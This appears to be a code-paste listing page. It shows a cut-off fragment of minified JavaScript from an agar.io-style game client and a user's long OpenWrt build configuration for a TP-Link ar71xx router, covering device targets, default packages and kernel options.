gb() : console.warn("Skipping draw"), Fb()) } }(), U = {}, ob = "poland;usa;china;russia;canada;australia;spain;brazil;germany;ukraine;france;sweden;chaplin;north korea;south korea;japan;united kingdom;earth;greece;latvia;lithuania;estonia;finland;norway;cia;maldivas;austria;nigeria;reddit;yaranaika;confederate;9gag;indiana;4chan;italy;bulgaria;tumblr;2ch.hk;hong kong;portugal;jamaica;german empire;mexico;sanik;switzerland;croatia;chile;indonesia;bangladesh;thailand;iran;iraq;peru;moon;botswana;bosnia;netherlands;european union;taiwan;pakistan;hungary;satanist;qing dynasty;matriarchy;patriarchy;feminism;ireland;texas;facepunch;prodota;cambodia;steam;piccolo;ea;india;kc;denmark;quebec;ayy lmao;sealand;bait;tsarist russia;origin;vinesauce;stalin;belgium;luxembourg;stussy;prussia;8ch;argentina;scotland;sir;romania;belarus;wojak;doge;nasa;byzantium;imperial japan;french kingdom;somalia;turkey;mars;pokerface;8;irs;receita federal;facebook".split(";"), Gb = ["8", "nasa"], Hb = ["m'blob"]; Ka.prototype = { V: null, x: 0, y: 0, i: 0, b: 0 }; da.prototype = { id: 0, a: null, name: null, o: null, O: null, x: 0, y: 0, size: 0, s: 0, t: 0, r: 0, J: 0, K: 0, q: 0, ba: 0, Q: 0, sa: 0, ia: 0,

    From user zsith

  • zszszszsz / .config

    names.io, # # Automatically generated file; DO NOT EDIT. # OpenWrt Configuration # CONFIG_MODULES=y CONFIG_HAVE_DOT_CONFIG=y # CONFIG_TARGET_sunxi is not set # CONFIG_TARGET_apm821xx is not set # CONFIG_TARGET_ath25 is not set CONFIG_TARGET_ar71xx=y # CONFIG_TARGET_ath79 is not set # CONFIG_TARGET_bcm27xx is not set # CONFIG_TARGET_bcm53xx is not set # CONFIG_TARGET_brcm47xx is not set # CONFIG_TARGET_brcm63xx is not set # CONFIG_TARGET_cns3xxx is not set # CONFIG_TARGET_octeon is not set # CONFIG_TARGET_gemini is not set # CONFIG_TARGET_mpc85xx is not set # CONFIG_TARGET_imx6 is not set # CONFIG_TARGET_mxs is not set # CONFIG_TARGET_ixp4xx is not set # CONFIG_TARGET_lantiq is not set # CONFIG_TARGET_malta is not set # CONFIG_TARGET_pistachio is not set # CONFIG_TARGET_mvebu is not set # CONFIG_TARGET_kirkwood is not set # CONFIG_TARGET_mediatek is not set # CONFIG_TARGET_ramips is not set # CONFIG_TARGET_at91 is not set # CONFIG_TARGET_rb532 is not set # CONFIG_TARGET_tegra is not set # CONFIG_TARGET_layerscape is not set # CONFIG_TARGET_octeontx is not set # CONFIG_TARGET_oxnas is not set # CONFIG_TARGET_armvirt is not set # CONFIG_TARGET_ipq40xx is not set # CONFIG_TARGET_ipq806x is not set # CONFIG_TARGET_ipq807x is not set # CONFIG_TARGET_samsung is not set # CONFIG_TARGET_arc770 is not set # CONFIG_TARGET_archs38 is not set # CONFIG_TARGET_ar7 is not set # CONFIG_TARGET_omap is not set # CONFIG_TARGET_uml is not set # CONFIG_TARGET_zynq is not set # CONFIG_TARGET_x86 is not set CONFIG_TARGET_ar71xx_generic=y # CONFIG_TARGET_ar71xx_tiny is not set # CONFIG_TARGET_ar71xx_nand is not set # CONFIG_TARGET_ar71xx_mikrotik is not set # CONFIG_TARGET_MULTI_PROFILE is not set # CONFIG_TARGET_ar71xx_generic_Default is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_carambola2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_lima is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ALFAAP120C is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ap121f is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ap91-5g is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ALFAAP96 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_HORNETUB is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_HORNETUBx2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ALFANX is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_n5q is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_r36a is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_TUBE2H16M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_TUBE2H8M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_fritz4020 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_fritz300e is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_fritz450e is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_sc1750 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_sc300m is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_sc450 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_c-55 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ALL0258N is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ALL0305 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ALL0315N is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_antminer-s1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_antminer-s3 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_antrouter-r1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_arduino-yun is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_AP121_16M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_AP121_8M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_AP132 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_AP135 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_AP136_010 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_AP136_020 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_AP96 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_DB120 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_PB42 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_PB44 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_BXU2000N2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_WZR450HP2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_WZR600DHP is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_WZRHPAG300H is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_WZRHPG300NH is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_WZRHPG300NH2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_WZRHPG450H is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cf-e316n-v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cf-e320n-v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cf-e355ac-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cf-e355ac-v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cf-e375ac is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cf-e380ac-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cf-e380ac-v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cf-e385ac is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cf-e520n is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cf-e530n is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_WP543_16M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_WP543_8M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_WPE72_16M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_WPE72_8M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wpj342 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wpj344 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wpj531 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wpj558 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wpj563 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_dap-1330-a1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_dap-2695-a1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_DGL5500A1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_DHP1565A1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_DIR505A1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_DIR825B1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_DIR825C1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_DIR835A1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_dir-869-a1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_dragino2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_el-m150 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_el-mini is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ew-balin is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ew-dorin is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ew-dorin-router is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_EAP300V2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ens202ext is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_EPG5000 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ESR1750 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ESR900 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_gl-inet-6408A-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_gl-inet-6416A-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_gl-domino is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_gl-ar150 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_gl-ar300 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_gl-ar300m is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_gl-ar750 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_gl-ar750s is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_gl-mifi is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_gl-usb150 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_SGRW500N85BV2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_minibox-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_oolite-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_oolite-v5.2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_oolite-v5.2-dev is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_lan-turtle is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_packet-squirrel is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wifi-pineapple-nano is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_hiwifi-hc6361 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_AP147_010 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_WRT160NL is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_WRT400N is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_mr12 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_mr16 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_mc-mac1200r is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_mc-mw4530r is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_smart-300 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_WNDAP360 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wndr3700 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wndr3700v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wndr3800 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wndr3800ch is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wndrmac is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wndrmacv2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_WNR2200 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_koala is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_omy-g1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_omy-x1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_onion-omega is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_som9331 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_A60 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_MR1750 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_MR600 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_MR900 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_OM2P is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_OM5PAC is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_OM5P is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cpe505n is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_r602n is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ts-d084 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_pqi-air-pen is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_k2t is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_MZKW04NU is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_MZKW300NH is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cap324 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cr3000 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cr5000 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_DLRTDEV01 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_qihoo-c301 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_AP143_16M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_AP143_8M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_AP152_16M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_e1700ac-v2-16M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_e1700ac-v2-8M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_e558-v2-16M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_e558-v2-8M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_e600g-v2-16M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_e600g-v2-8M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_e600gac-v2-16M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_e600gac-v2-8M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_e750a-v4-16M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_e750a-v4-8M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_e750g-v8-16M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_e750g-v8-8M is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ap531b0 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wam250 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_CAP4200AG is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_EAP7660D is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wlr8100 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_bsb is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_archer-c25-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_archer-c5-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_archer-c58-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_archer-c59-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_archer-c59-v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_archer-c60-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_archer-c60-v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_archer-c7-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_archer-c7-v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_archer-c7-v2-il is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wdr7500-v3 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_archer-c7-v4 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_archer-c7-v5 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cpe210-v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cpe210-220-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cpe510-520-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_eap120-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_re355-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_re450-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-mr6400-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wdr3227-v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wdr3500-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wdr3600-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wdr4300-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wdr4300-v1-il is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wdr4310-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wdr4900-v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wdr5800-v1 is not set CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wdr6500-v2=y # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wdr6500-v6 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wdr8500-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wpa8630-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr1043n-v5 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr1043nd-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr1043nd-v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr1043nd-v3 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr1043nd-v4 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr2041n-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr2041n-v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr2543-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr710n-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr710n-v2.1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr810n-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr810n-v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr842n-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr842n-v2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr842n-v3 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr880n-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr881n-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr902ac-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr941n-v7 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tl-wr942n-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wbs210-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wbs510-v1 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_TEW673GRU is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_TEW732BR is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_TEW823DRU is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_tellstick-znet-lite is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_rut900 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-air-gateway is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-air-gateway-pro is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-airrouter is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-bullet-m is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-ls-sr71 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-lbe-m5 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-loco-m-xw is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-nano-m-xw is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-nano-m is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_rw2458n is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-rocket-m-ti is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-rocket-m-xw is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-rocket-m is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-rs is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-rspro is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-uap-pro is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-unifi is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-unifiac-lite is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-unifiac-mesh is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-unifiac-pro is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-unifi-outdoor is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubnt-unifi-outdoor-plus is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ubdev01 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_wrtnode2q is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_dr342 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_dr531 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_weio is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_mynet-n600 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_mynet-n750 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_MYNETREXT is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ap90q is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cpe830 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_cpe870 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_sr3200 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_t830 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_xd3200 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ZCN1523H28 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_ZCN1523H516 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_NBG6616 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_dLAN_Hotspot is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_dLAN_pro_1200_ac is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_dLAN_pro_500_wp is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_rme-eg200 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_JA76PF is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_JA76PF2 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_JWAP003 is not set # CONFIG_TARGET_ar71xx_generic_DEVICE_jwap230 is not set CONFIG_HAS_SUBTARGETS=y CONFIG_HAS_DEVICES=y CONFIG_TARGET_BOARD="ar71xx" CONFIG_TARGET_SUBTARGET="generic" CONFIG_TARGET_PROFILE="DEVICE_tl-wdr6500-v2" CONFIG_TARGET_ARCH_PACKAGES="mips_24kc" CONFIG_DEFAULT_TARGET_OPTIMIZATION="-Os -pipe -mno-branch-likely -mips32r2 -mtune=24kc" CONFIG_CPU_TYPE="24kc" CONFIG_LINUX_4_9=y CONFIG_DEFAULT_ath10k-firmware-qca988x=y CONFIG_DEFAULT_base-files=y CONFIG_DEFAULT_block-mount=y CONFIG_DEFAULT_busybox=y CONFIG_DEFAULT_ca-certificates=y CONFIG_DEFAULT_coremark=y CONFIG_DEFAULT_ddns-scripts_aliyun=y CONFIG_DEFAULT_ddns-scripts_dnspod=y CONFIG_DEFAULT_default-settings=y CONFIG_DEFAULT_dnsmasq-full=y CONFIG_DEFAULT_dropbear=y CONFIG_DEFAULT_firewall=y CONFIG_DEFAULT_fstools=y CONFIG_DEFAULT_iptables=y CONFIG_DEFAULT_kmod-ath10k=y CONFIG_DEFAULT_kmod-ath9k=y CONFIG_DEFAULT_kmod-gpio-button-hotplug=y CONFIG_DEFAULT_kmod-ipt-offload=y CONFIG_DEFAULT_kmod-ipt-raw=y CONFIG_DEFAULT_kmod-nf-nathelper=y CONFIG_DEFAULT_kmod-nf-nathelper-extra=y CONFIG_DEFAULT_kmod-tcp-bbr=y CONFIG_DEFAULT_kmod-usb-core=y CONFIG_DEFAULT_kmod-usb-ledtrig-usbport=y CONFIG_DEFAULT_kmod-usb2=y CONFIG_DEFAULT_libc=y CONFIG_DEFAULT_libgcc=y CONFIG_DEFAULT_libustream-openssl=y CONFIG_DEFAULT_logd=y CONFIG_DEFAULT_luci=y CONFIG_DEFAULT_luci-app-accesscontrol=y CONFIG_DEFAULT_luci-app-adbyby-plus=y CONFIG_DEFAULT_luci-app-arpbind=y CONFIG_DEFAULT_luci-app-autoreboot=y CONFIG_DEFAULT_luci-app-cpufreq=y CONFIG_DEFAULT_luci-app-ddns=y CONFIG_DEFAULT_luci-app-filetransfer=y CONFIG_DEFAULT_luci-app-flowoffload=y CONFIG_DEFAULT_luci-app-nlbwmon=y CONFIG_DEFAULT_luci-app-ramfree=y CONFIG_DEFAULT_luci-app-sfe=y CONFIG_DEFAULT_luci-app-ssr-plus=y CONFIG_DEFAULT_luci-app-unblockmusic=y CONFIG_DEFAULT_luci-app-upnp=y CONFIG_DEFAULT_luci-app-vlmcsd=y CONFIG_DEFAULT_luci-app-vsftpd=y CONFIG_DEFAULT_luci-app-wol=y CONFIG_DEFAULT_mtd=y CONFIG_DEFAULT_netifd=y CONFIG_DEFAULT_opkg=y CONFIG_DEFAULT_ppp=y CONFIG_DEFAULT_ppp-mod-pppoe=y CONFIG_DEFAULT_swconfig=y CONFIG_DEFAULT_uboot-envtools=y CONFIG_DEFAULT_uci=y CONFIG_DEFAULT_uclient-fetch=y CONFIG_DEFAULT_urandom-seed=y CONFIG_DEFAULT_urngd=y CONFIG_DEFAULT_wget=y CONFIG_DEFAULT_wpad-openssl=y CONFIG_AUDIO_SUPPORT=y CONFIG_GPIO_SUPPORT=y CONFIG_PCI_SUPPORT=y CONFIG_USB_SUPPORT=y CONFIG_USB_GADGET_SUPPORT=y CONFIG_BIG_ENDIAN=y CONFIG_USES_SQUASHFS=y CONFIG_SMALL_FLASH=y CONFIG_HAS_MIPS16=y CONFIG_mips=y CONFIG_ARCH="mips" # # Target Images # # CONFIG_TARGET_ROOTFS_INITRAMFS is not set CONFIG_EXTERNAL_CPIO="" # # Root filesystem archives # # CONFIG_TARGET_ROOTFS_CPIOGZ is not set # CONFIG_TARGET_ROOTFS_TARGZ is not set # # Root filesystem images # # CONFIG_TARGET_ROOTFS_EXT4FS is not set CONFIG_TARGET_ROOTFS_SQUASHFS=y CONFIG_TARGET_SQUASHFS_BLOCK_SIZE=1024 CONFIG_TARGET_UBIFS_FREE_SPACE_FIXUP=y CONFIG_TARGET_UBIFS_JOURNAL_SIZE="" # # Image Options # # # Global build settings # # CONFIG_JSON_ADD_IMAGE_INFO is not set # CONFIG_ALL_NONSHARED is not set # CONFIG_ALL_KMODS is not set # CONFIG_ALL is not set # CONFIG_BUILDBOT is not set # CONFIG_SIGNED_PACKAGES is not set # CONFIG_SIGNATURE_CHECK is not set # # General build options # # CONFIG_DISPLAY_SUPPORT is not set CONFIG_BUILD_PATENTED=y # CONFIG_BUILD_NLS is not set CONFIG_SHADOW_PASSWORDS=y # CONFIG_CLEAN_IPKG is not set # CONFIG_INCLUDE_CONFIG is not set # CONFIG_COLLECT_KERNEL_DEBUG is not set # # Kernel build options # CONFIG_KERNEL_BUILD_USER="" CONFIG_KERNEL_BUILD_DOMAIN="" CONFIG_KERNEL_PRINTK=y CONFIG_KERNEL_CRASHLOG=y # CONFIG_KERNEL_SWAP is not set CONFIG_KERNEL_DEBUG_FS=y CONFIG_KERNEL_MIPS_FPU_EMULATOR=y # CONFIG_KERNEL_PERF_EVENTS is not set # CONFIG_KERNEL_PROFILING is not set # CONFIG_KERNEL_TASKSTATS is not set # CONFIG_KERNEL_KALLSYMS is not set # CONFIG_KERNEL_FTRACE is not set # CONFIG_KERNEL_DEBUG_KERNEL is not set # CONFIG_KERNEL_DEBUG_INFO is not set # CONFIG_KERNEL_DYNAMIC_DEBUG is not set # CONFIG_KERNEL_KPROBES is not set # CONFIG_KERNEL_AIO is not set # CONFIG_KERNEL_FHANDLE is not set # CONFIG_KERNEL_FANOTIFY is not set # CONFIG_KERNEL_BLK_DEV_BSG is not set CONFIG_KERNEL_MAGIC_SYSRQ=y # CONFIG_KERNEL_DEBUG_PINCTRL is not set # CONFIG_KERNEL_DEBUG_GPIO is not set # CONFIG_KERNEL_ELF_CORE is not set # CONFIG_KERNEL_PROVE_LOCKING is not set CONFIG_KERNEL_PRINTK_TIME=y # CONFIG_KERNEL_SLABINFO is not set # CONFIG_KERNEL_PROC_PAGE_MONITOR is not set # CONFIG_KERNEL_KEXEC is not set # CONFIG_USE_RFKILL is not set # CONFIG_USE_SPARSE is not set # CONFIG_KERNEL_DEVTMPFS is not set CONFIG_KERNEL_KEYS=y # CONFIG_KERNEL_PERSISTENT_KEYRINGS is not set # 